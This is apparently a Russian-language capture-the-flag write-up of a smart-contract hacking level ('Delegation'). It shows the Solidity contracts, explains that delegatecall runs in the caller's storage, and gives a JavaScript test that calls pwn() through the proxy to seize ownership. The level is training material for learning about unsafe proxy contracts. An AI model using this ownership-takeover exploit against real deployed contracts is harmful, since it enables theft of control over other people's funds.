УРОВЕНЬ 6 (делегат)
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Delegate {
address public owner;
constructor(address _owner) public {
owner = _owner;
}
function pwn() public {
owner = msg.sender;
}
}
contract Delegation {
address public owner;
Delegate delegate;
constructor(address _delegateAddress) public {
delegate = Delegate(_delegateAddress);
owner = msg.sender;
}
fallback() external {
(bool result,) = address(delegate).delegatecall(msg.data);
if (result) {
this;
}
}
}
Требования к прохождению
Вызвать владельца
Ключевые моменты
Вызов делегата использует хранилище вызывающей стороны
Есть ряд вещей, которые нужно учитывать при работе с delegatecall, вот новый (2022-05-21) бонус о самых больших ошибках в истории, проверьте его, в середине статьи есть некоторые моменты, описывающие прокси.
https://medium.com/immunefi/wormhole-uninitialized-proxy-bugfix-review-90250c41a43a
идеи решения
Просто вызовите его непосредственно в javascript
it("attacks", async function () {
//代理,不能直接调用await levelContract.pwd(),会找到方法,abi没有
const contract = await ethers.getContractAt(
"Delegate",
levelContract.address,
player
);
await contract.pwn();
});